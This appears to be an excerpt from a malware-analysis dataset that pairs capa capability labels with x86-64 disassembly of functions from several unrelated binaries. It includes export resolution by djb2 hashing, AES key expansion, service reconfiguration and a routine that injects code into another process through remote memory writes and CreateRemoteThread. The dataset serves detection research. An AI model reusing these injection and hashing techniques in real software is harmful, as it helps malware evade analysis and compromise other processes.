joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000ae90
Capabilities:
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
push r14
xor r14d, r14d
push r13
push r12
push rbp
push rdi
push rsi
push rbx
mov rbx, rcx
mov rdx, rbx
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov ecx, dword [rcx + rax + 0x88]
call 0x140011570
mov rdx, rbx
mov esi, eax
add rsi, rbx
mov ecx, dword [rsi + 0x20]
call 0x140011570
mov ecx, dword [rsi + 0x24]
mov rdx, rbx
mov r12d, eax
call 0x140011570
mov r13d, dword [rsi + 0x18]
add r12, rbx
mov edi, eax
cmp r13, r14
je 0x14000af4f
mov ecx, dword [r12 + r14*4]
mov rdx, rbx
call 0x140011570
mov ebp, eax
add rbp, rbx
mov rcx, rbp
call fcn.14000b3d0
cmp eax, 0xa6caa1c5
jne 0x14000af34
mov ecx, dword [rsi + 0x1c]
mov rdx, rbx
add rdi, rbx
call 0x140011570
movzx edx, word [rdi + r14*2]
mov eax, eax
add rax, rbx
mov ecx, dword [rax + rdx*4]
add rsp, 0x20
mov rdx, rbx
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp 0x140011570
mov rcx, rbp
call fcn.14000b3d0
mov edx, eax
lea rax, [r14 + 1]
cmp edx, 0xffe885ef
je 0x14000af03
mov r14, rax
jmp 0x14000aede
add rsp, 0x20
xor eax, eax
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov eax, ecx
movsxd rcx, dword [rdx + 0x3c]
add rcx, rdx
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
cmp eax, dword [rdx + 0x14]
jb 0x1400115ba
mov r9w, word [rcx + 6]
xor ecx, ecx
cmp r9w, cx
je 0x1400115b8
mov r8d, dword [rdx + 0xc]
cmp eax, r8d
jb 0x1400115b0
mov r10d, dword [rdx + 0x10]
add r10d, r8d
cmp eax, r10d
jae 0x1400115b0
add eax, dword [rdx + 0x14]
sub eax, r8d
ret
inc ecx
add rdx, 0x28
jmp 0x14001158e
xor eax, eax
ret

Function at 0x14000afb0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r12
xor edx, edx
push rbp
push rdi
push rsi
push rbx
mov rbx, qword [0x140017160]
mov rax, qword [rbx + 0x83a]
test rax, rax
je 0x14000b05f
mov edx, dword [rbx + 0x7f0]
test edx, edx
jne 0x14000b05f
movsxd rcx, dword [rax + 0x3c]
xor r8d, r8d
mov ecx, dword [rax + rcx + 0x88]
add rcx, rax
mov edi, dword [rcx + 0x20]
mov r10d, dword [rcx + 0x1c]
mov esi, dword [rcx + 0x24]
mov ebp, dword [rcx + 0x18]
xor ecx, ecx
add r10, rax
add rdi, rax
add rsi, rax
cmp r8d, ebp
jae 0x14000b059
mov r9d, dword [rdi + r8*4]
cmp word [rax + r9], 0x775a
jne 0x14000b054
test rcx, rcx
movzx r9d, word [rsi + r8*2]
jne 0x14000b02b
mov ecx, dword [r10 + r9*4]
add rcx, rax
jmp 0x14000b054
mov r9d, dword [r10 + r9*4]
mov r11, rcx
add r9, rax
mov r12, r9
sub r11, r9
sub r12, rcx
cmp r9, rcx
mov r9d, r12d
cmovb r9d, r11d
test edx, edx
je 0x14000b051
cmp r9d, edx
jae 0x14000b054
mov edx, r9d
inc r8
jmp 0x14000b006
mov dword [rbx + 0x7f0], edx
pop rbx
mov eax, edx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x14000b380
Capabilities:
Hash data using djb2

Disassembly:
xor eax, eax
test rcx, rcx
je 0x14000b3cf
mov r10, rcx
mov eax, 0x1505
mov r9b, byte [r10]
test edx, edx
jne 0x14000b39c
test r9b, r9b
jne 0x14000b3b1
ret
mov r11, r10
sub r11, rcx
cmp r11d, edx
jae 0x14000b3cf
test r9b, r9b
jne 0x14000b3b1
inc r10
jmp 0x14000b3c0
cmp r9b, 0x60
jbe 0x14000b3c0
test r8d, r8d
je 0x14000b3c0
sub r9d, 0x20
imul eax, eax, 0x21
movzx r9d, r9b
inc r10
add eax, r9d
jmp 0x14000b38f
ret
Function at 0x14000b3d0
Capabilities:
Hash data using djb2

Disassembly:
mov eax, 0x1505
movsx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14000b3e6
imul eax, eax, 0x21
add eax, edx
jmp 0x14000b3d5
ret

Function at 0x14000cd30
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rsi
xor eax, eax
push rbx
mov r8b, byte [rdx + rax]
mov byte [rcx + rax], r8b
mov r8b, byte [rdx + rax + 1]
mov byte [rcx + rax + 1], r8b
mov r8b, byte [rdx + rax + 2]
mov byte [rcx + rax + 2], r8b
mov r8b, byte [rdx + rax + 3]
mov byte [rcx + rax + 3], r8b
add rax, 4
cmp rax, 0x20
jne 0x14000cd34
mov r11d, 8
lea r10, str.cw
lea rbx, [0x1400171a0]
mov esi, r11d
movzx r9d, byte [rcx + 0x1c]
movzx r8d, byte [rcx + 0x1d]
movzx edx, byte [rcx + 0x1e]
movzx eax, byte [rcx + 0x1f]
and esi, 7
jne 0x14000cdb2
mov sil, byte [r10 + r8]
mov r8b, byte [r10 + rdx]
mov dl, byte [r10 + rax]
mov al, byte [r10 + r9]
mov r9d, r11d
shr r9d, 3
xor sil, byte [rbx + r9]
mov r9d, esi
jmp 0x14000cdc7
cmp esi, 4
jne 0x14000cdc7
mov r9b, byte [r10 + r9]
mov r8b, byte [r10 + r8]
mov dl, byte [r10 + rdx]
mov al, byte [r10 + rax]
xor r9b, byte [rcx]
xor r8b, byte [rcx + 1]
inc r11d
add rcx, 4
xor dl, byte [rcx - 2]
xor al, byte [rcx - 1]
mov byte [rcx + 0x1c], r9b
mov byte [rcx + 0x1d], r8b
mov byte [rcx + 0x1e], dl
mov byte [rcx + 0x1f], al
cmp r11d, 0x3c
jne 0x14000cd78
pop rbx
pop rsi
ret

Function at 0x140011570
Capabilities:
Enumerate pe sections

Disassembly:
push r14
xor r14d, r14d
push r13
push r12
push rbp
push rdi
push rsi
push rbx
mov rbx, rcx
mov rdx, rbx
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov ecx, dword [rcx + rax + 0x88]
call 0x140011570
mov rdx, rbx
mov esi, eax
add rsi, rbx
mov ecx, dword [rsi + 0x20]
call 0x140011570
mov ecx, dword [rsi + 0x24]
mov rdx, rbx
mov r12d, eax
call 0x140011570
mov r13d, dword [rsi + 0x18]
add r12, rbx
mov edi, eax
cmp r13, r14
je 0x14000af4f
mov ecx, dword [r12 + r14*4]
mov rdx, rbx
call 0x140011570
mov ebp, eax
add rbp, rbx
mov rcx, rbp
call fcn.14000b3d0
cmp eax, 0xa6caa1c5
jne 0x14000af34
mov ecx, dword [rsi + 0x1c]
mov rdx, rbx
add rdi, rbx
call 0x140011570
movzx edx, word [rdi + r14*2]
mov eax, eax
add rax, rbx
mov ecx, dword [rax + rdx*4]
add rsp, 0x20
mov rdx, rbx
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
jmp 0x140011570
mov rcx, rbp
call fcn.14000b3d0
mov edx, eax
lea rax, [r14 + 1]
cmp edx, 0xffe885ef
je 0x14000af03
mov r14, rax
jmp 0x14000aede
add rsp, 0x20
xor eax, eax
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov eax, ecx
movsxd rcx, dword [rdx + 0x3c]
add rcx, rdx
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
cmp eax, dword [rdx + 0x14]
jb 0x1400115ba
mov r9w, word [rcx + 6]
xor ecx, ecx
cmp r9w, cx
je 0x1400115b8
mov r8d, dword [rdx + 0xc]
cmp eax, r8d
jb 0x1400115b0
mov r10d, dword [rdx + 0x10]
add r10d, r8d
cmp eax, r10d
jae 0x1400115b0
add eax, dword [rdx + 0x14]
sub eax, r8d
ret
inc ecx
add rdx, 0x28
jmp 0x14001158e
xor eax, eax
ret
Function at 0x100001000
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate process modules
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
sub rsp, 0x11f8
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rsi
lea rcx, [rsp + 0x48]
mov edx, 0xfa0
lea r8, [rsp + 0xfe8]
call qword [sym.imp.kernel32.dll_K32EnumProcesses]
test al, al
je 0x100001195
mov esi, dword [rsp + 0xfe8]
mov ecx, 0x43a
xor rdx, rdx
mov r8d, dword [rsp + rsi + 0x44]
call qword [sym.imp.kernel32.dll_OpenProcess]
test rax, rax
je 0x100001093
mov rbp, rax
mov rcx, rbp
xor rdx, rdx
lea r8, [rsp + 0xfe8]
mov r9d, 0x100
call qword [sym.imp.kernel32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x10000108a
lea rcx, [0x1000041dc]
lea rdx, [rsp + 0xfe8]
call qword [sym.imp.kernel32.dll_lstrcmpiW]
test eax, eax
je 0x1000010ba
mov rcx, rbp
call qword [sym.imp.kernel32.dll_CloseHandle]
sub esi, 4
jne 0x100001038
xor rcx, rcx
lea rdx, [0x1000041fc]
lea r8, [0x1000041f8]
mov r9d, 0x10040
call qword [sym.imp.user32.dll_MessageBoxW]
jmp 0x1000011b2
mov rcx, rbp
xor rdx, rdx
mov r8d, dword [0x100000090]
mov r9d, 0x1000
mov dword [rsp + 0x20], pe_nt_image_headers64
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
test rax, rax
je 0x10000118c
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
sub qword [sym.imp.kernel32.dll_LoadLibraryA], rax
sub qword [sym.imp.kernel32.dll_GetProcAddress], rax
mov rcx, rbp
mov rdx, rsi
lea r8, [0x100000000]
mov r9d, dword [0x100000090]
mov qword [rsp + 0x20], 0
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test al, al
je 0x100001177
mov rcx, rbp
xor rdx, rdx
mov r8d, 0x1000
lea r9, [rsi + 0x11cd]
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rdx
call qword [sym.imp.kernel32.dll_CreateRemoteThread]
test rax, rax
je 0x100001177
mov rcx, rax
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x1000011b2
mov rcx, rbp
mov rdx, rsi
xor r8, r8
mov r9d, 0x4000
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov rcx, rbp
call qword [sym.imp.kernel32.dll_CloseHandle]
xor rcx, rcx
lea rdx, [0x10000422c]
lea r8, [0x1000041f8]
mov r9d, 0x10010
call qword [sym.imp.user32.dll_MessageBoxW]
xor rcx, rcx
call qword [sym.imp.kernel32.dll_ExitProcess]
Function at 0x1400010d0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
xor bl, bl
xor edi, edi
nop
mov ecx, 0x58
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400010f4
mov bl, 1
jmp 0x14000110d
mov ecx, 0x5a
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140001108
xor bl, bl
jmp 0x1400010e0
cmp bl, 1
jne 0x1400010e0
xor edx, edx
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
lea ecx, [rdx + 2]
call qword [sym.imp.USER32.dll_mouse_event]
xor edx, edx
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
lea ecx, [rdx + 4]
call qword [sym.imp.USER32.dll_mouse_event]
mov eax, 0x3e8
cdq
idiv dword [0x140005668]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400010e0

Function at 0x140001c78
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cc2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cc2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cc2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cc2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cc2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cc4
xor al, al
add rsp, 0x28
ret
Function at 0x180018ac0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
movzx ebx, byte [rsp + 0xb8]
mov rdi, r8
imul r12d, edx, 0x4d7
mov ebp, edx
mov r14, rcx
mov esi, edx
cmp edx, r12d
ja 0x180018b66
mov r15, qword [rsp + 0xc8]
xor r13d, r13d
nop dword [rax]
cmp esi, 0x62bc
ja 0x180018c64
je 0x180018cbc
mov eax, esi
sub eax, 0x8e
je 0x180018c33
sub eax, 0x5e
je 0x180018b81
cmp eax, 0x1d
jne 0x180018ca6
mov r9d, 0x122
mov r8, rdi
xor edx, edx
xor ecx, ecx
call fcn.1800123b0
test al, al
jne 0x180018b66
imul ecx, dword [r14], 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x122
mov r8, rdi
xor edx, edx
xor ecx, ecx
call fcn.1800123b0
test al, al
je 0x180018b43
movzx eax, bl
mov rbx, qword [rsp + 0xb0]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x68], r13
xor r9d, r9d
mov qword [rsp + 0x60], r13
xor r8d, r8d
mov dword [rsp + 0x58], 0x107
xor edx, edx
mov qword [rsp + 0x50], r13
xor ecx, ecx
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
call fcn.180017830
test al, al
je 0x180018cc1
cmp qword [rdi + 0x30], r13
jne 0x180018c10
mov ecx, dword [rdi + 0x28]
xor r9d, r9d
mov rdx, qword [rdi + 0x10]
mov qword [rdi + 0x30], rdx
lea rax, [rcx + rcx*2]
lea r8d, [rcx + rcx*2]
shl rax, 4
add rax, rdx
shl r8d, 4
lea ecx, [r9 + 8]
mov qword [rdi + 0x38], rax
call qword [rdi + 0x20]
test eax, eax
jne 0x180018cc1
lea ecx, [rax + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rdi + 0x28]
xor r9d, r9d
mov rdx, qword [rdi + 0x38]
lea r8d, [rax + rax*2]
shl r8d, 4
lea ecx, [r9 + 8]
call qword [rdi + 0x20]
test eax, eax
jne 0x180018cc1
jmp 0x180018ca6
mov qword [0x1800313d8], rdi
lea r8, [0x18001f280]
mov qword [rsp + 0x28], r13
mov r9, rdi
xor edx, edx
mov qword [rdi + 0x80], r14
xor ecx, ecx
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r15, rax
jmp 0x180018ca6
cmp esi, 0xa418
je 0x180018c96
cmp esi, 0x14744
je 0x180018c82
cmp esi, 0x1ea70
je 0x180018b66
jmp 0x180018ca6
mov rcx, qword [rdi + 0x30]
mov bl, 1
mov rax, qword [rdi + 0x38]
mov qword [rdi + 0x30], rax
mov qword [rdi + 0x38], rcx
jmp 0x180018ca6
mov r8d, 0x117
mov rdx, rdi
xor ecx, ecx
call fcn.180017170
imul eax, ebp, 0xb1
add esi, eax
cmp esi, r12d
jbe 0x180018b00
jmp 0x180018b66
test r15, r15
jne 0x180018cc8
xor al, al
jmp 0x180018b69
xchg qword [0x1800313e0], r15
mov al, 1
jmp 0x180018b69
Function at 0x18001dca0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
movzx ebx, byte [rsp + 0x80]
mov r15, r9
imul r13d, ecx, 0x248
mov rdi, r8
mov r14d, ecx
mov ebp, ecx
cmp ecx, r13d
ja 0x18001de93
mov r12, qword [rsp + 0x30]
lea rcx, [0x18000f160]
lea r8, [0x180014890]
lea r9, [0x1800148c0]
lea rsi, [0x1800148a0]
lea rax, [0x180014870]
cmp ebp, 0x2dac
ja 0x18001de4a
je 0x18001de13
mov eax, ebp
sub eax, 0x37
je 0x18001deae
sub eax, 0x51
je 0x18001dd59
sub eax, 0x16
je 0x18001dd3d
cmp eax, 0x26b2
jne 0x18001de84
mov bl, 1
jmp 0x18001de84
mov qword [0x1800313d0], rdi
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], rdx
mov qword [rdi + 0x20], r8
mov qword [rdi + 0x28], r15
jmp 0x18001de84
mov qword [rsp + 0x28], 0
lea r8, [0x180014200]
mov r9, rdi
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rdi], rax
test rax, rax
je 0x18001df79
mov esi, 0x7d
nop
mov eax, esi
sub eax, 0x7d
je 0x18001ddd7
cmp eax, 0x65
jne 0x18001dddf
mov rcx, qword [rdi + 0x260]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rdi + 0x268]
call fcn.180023e38
mov rcx, qword [rdi + 0x278]
mov dword [rdi + 0x270], 0
call fcn.180023e38
mov dword [rdi + 0x280], 0
jmp 0x18001dddf
mov eax, 1
xchg dword [rdi + 0xc], eax
add esi, 0x510e
cmp esi, 0xa21c
jbe 0x18001dd90
mov rdx, qword [rsp + 0x88]
lea rcx, [0x18000f160]
lea r8, [0x180014890]
lea r9, [0x1800148c0]
lea rsi, [0x1800148a0]
jmp 0x18001de84
mov ecx, 8
mov qword [rdi + 0x50], r9
call fcn.180023dfc
mov rdx, qword [rsp + 0x88]
lea rcx, [0x18000f160]
mov r12, rax
lea r8, [0x180014890]
lea r9, [0x1800148c0]
mov qword [rax], r15
mov qword [rdi + 0x40], rsi
jmp 0x18001de84
cmp ebp, 0x4e18
je 0x18001de93
cmp ebp, 0x5aba
je 0x18001de7c
cmp ebp, 0x87c8
jne 0x18001de84
mov qword [rdi + 0x38], rdx
mov r8, rdi
mov rcx, qword [r15 + 0xb8]
mov edx, 0x8e
call fcn.180018ac0
jmp 0x18001de96
mov qword [rdi + 0x48], r12
mov qword [rdi + 0x30], rax
imul eax, r14d, 0x49
add ebp, eax
cmp ebp, r13d
jbe 0x18001dcfd
movzx eax, bl
mov rbx, qword [rsp + 0x90]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rbp, [0x180014870]
nop word [rax + rax]
mov esi, 0x4e
mov eax, esi
sub eax, 0x4d
je 0x18001df29
cmp eax, 1
jne 0x18001df69
mov rcx, qword [rdi + 0x18]
lea rbx, [rdi + 0x58]
mov rdx, rbx
call qword [rdi + 0x10]
test al, al
je 0x18001df79
cmp qword [rbx + 0x18], 0x10
jb 0x18001def5
mov rbx, qword [rbx]
movzx eax, word [rdi + 0x78]
lea rcx, [rsp + 0x80]
mov r8, qword [0x1800313d8]
mov r9d, 9
mov rdx, rbx
mov word [rsp + 0x80], ax
call fcn.18001df80
test al, al
je 0x18001df69
mov al, 1
jmp 0x18001de96
mov rdx, qword [0x1800313d8]
mov ecx, 0xff
call fcn.18000a320
test al, al
je 0x18001df79
mov rax, qword [rdi + 0x30]
lea rdx, [rdi + 0x58]
mov rcx, qword [rdi + 0x38]
cmp rax, rbp
jne 0x18001df5c
mov r8d, 0x4e
call fcn.1800132f0
jmp 0x18001df5e
call rax
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
dec esi
cmp esi, 0x4c
ja 0x18001dec5
jmp 0x18001dec0
xor al, al
jmp 0x18001de96
Function at 0x4019a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub rsp, 0x28
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rdi
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x4019db
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
add rsp, 0x28
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
mov rbx, rax
je 0x401a1f
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x401a1a
cmp rbx, r11
jae 0x401a1f
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x401a08
cmp rbx, r11
jb 0x401a23
xor eax, eax
jmp 0x401a2f
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
add rsp, 0x28
ret

Function at 0x401b10
Capabilities:
Modify service

Disassembly:
sub rsp, 0x68
mov qword [rsp + 0x78], rbx
mov rbx, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
mov qword [rsp + 0x88], rdi
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test rax, rax
mov rdi, rax
jne 0x401b4e
mov rdi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x78]
add rsp, 0x68
ret
lea rdx, [0x00440f8c]
mov r8d, 0xf01ff
mov rcx, rax
mov qword [rsp + 0x80], rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
test rax, rax
mov rsi, rax
jne 0x401b81
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x401bd1
mov r8d, dword [rbx + 4]
mov edx, dword [rbx]
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov r9d, 0xffffffff
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
mov rsi, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x78]
add rsp, 0x68
ret

Function at 0x401bf0
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 1
je 0x401c11
and eax, 0xfffffffe
mov rcx, rbx
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
setne al
add rsp, 0x20
pop rbx
ret
Function at 0x402390
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax - 0x10], r13
xor ebp, ebp
mov rdi, rdx
mov r13, r8
mov dword [rax - 0x28], ebp
mov rsi, rcx
call fcn.00418c7c
test rax, rax
mov rcx, rax
jne 0x4023cd
mov ecx, 0x80004005
call fcn.00401000
int3
mov rax, qword [rax]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x60], r12
call qword [rax + 0x18]
lea r9, [rsp + 0x44]
mov r8d, 7
mov rbx, rax
lea rax, [rsp + 0x40]
mov rdx, rdi
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x40]
mov rcx, rsi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SETUPAPI.dll_SetupDiGetDeviceRegistryPropertyA]
test eax, eax
jne 0x402511
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xd
je 0x40247e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x40247e
test rbp, rbp
je 0x40243a
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [rsp + 0x40]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
lea r9, [rsp + 0x44]
mov r8d, 7
mov rbp, rax
lea rax, [rsp + 0x40]
mov rdx, rdi
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x40]
mov rcx, rsi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SETUPAPI.dll_SetupDiGetDeviceRegistryPropertyA]
test eax, eax
je 0x402416
test rbp, rbp
je 0x402511
cmp byte [rbp], 0
mov rsi, rbp
mov r12, 0xffffffffffffffff
je 0x4024f6
nop
nop
nop
mov eax, dword [rsp + 0x40]
add rax, rbp
cmp rsi, rax
jae 0x4024f6
mov rcx, rsi
call fcn.00425420
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor eax, eax
mov rdi, r13
mov rcx, r12
repne scasb al, byte [rdi]
xor ecx, ecx
nop
nop
movzx eax, byte [rsi + rcx]
add rcx, 1
test al, al
mov byte [rdi + rcx - 2], al
jne 0x4024d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rcx, eax
lea rsi, [rsi + rcx + 1]
cmp byte [rsi], 0
jne 0x4024a0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdx, rbx
lock xadd dword [rbx + 0x10], r12d
add r12d, 0xffffffff
test r12d, r12d
jmp 0x402528
mov rdx, rbx
mov r12, 0xffffffffffffffff
lock xadd dword [rbx + 0x10], r12d
add r12d, 0xffffffff
test r12d, r12d
jg 0x402533
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x70]
mov r12, qword [rsp + 0x60]
mov r13, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
add rsp, 0x68
ret
Function at 0x402b90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub rsp, 0x58
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbp
mov eax, r8d
mov qword [rsp + 0x70], rsi
mov rsi, rdx
shr eax, 4
add ax, 1
mov ebx, r8d
mov rbp, rcx
movzx edx, ax
mov r8d, 6
mov rcx, rsi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x50], r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
mov r12, rax
je 0x402d05
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x402d05
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
mov rdi, rax
je 0x402d05
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rdi
and ebx, 0xf
jbe 0x402c36
nop
cmp rdi, r11
jae 0x402d05
add ebx, 0xffffffff
movzx eax, word [rdi]
lea rdi, [rdi + rax*2 + 2]
jne 0x402c20
cmp rdi, r11
jae 0x402d05
movzx eax, word [rdi]
test ax, ax
je 0x402d05
mov qword [rsp + 0x48], r13
movzx ebx, ax
call qword [0x00460fc8]
xor r13d, r13d
lea r12, [rdi + 2]
mov r9d, ebx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov ecx, eax
mov r8, r12
xor edx, edx
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [rbp]
mov edx, 1
movsxd rsi, eax
sub edx, dword [rcx - 8]
mov ecx, dword [rcx - 0xc]
sub ecx, esi
or edx, ecx
jge 0x402ca6
mov edx, esi
mov rcx, rbp
call fcn.00401fa0
mov rbx, qword [rbp]
movzx edi, word [rdi]
call qword [0x00460fc8]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov ecx, eax
mov r9d, edi
mov r8, r12
xor edx, edx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test esi, esi
mov r13, qword [rsp + 0x48]
js 0x402cfa
mov rcx, qword [rbp]
cmp esi, dword [rcx - 0xc]
jg 0x402cfa
mov dword [rcx - 0x10], esi
mov rcx, qword [rbp]
mov eax, 1
mov byte [rsi + rcx], 0
jmp 0x402d07
mov ecx, 0x80070057
call fcn.00401000
int3
xor eax, eax
mov r12, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
add rsp, 0x58
ret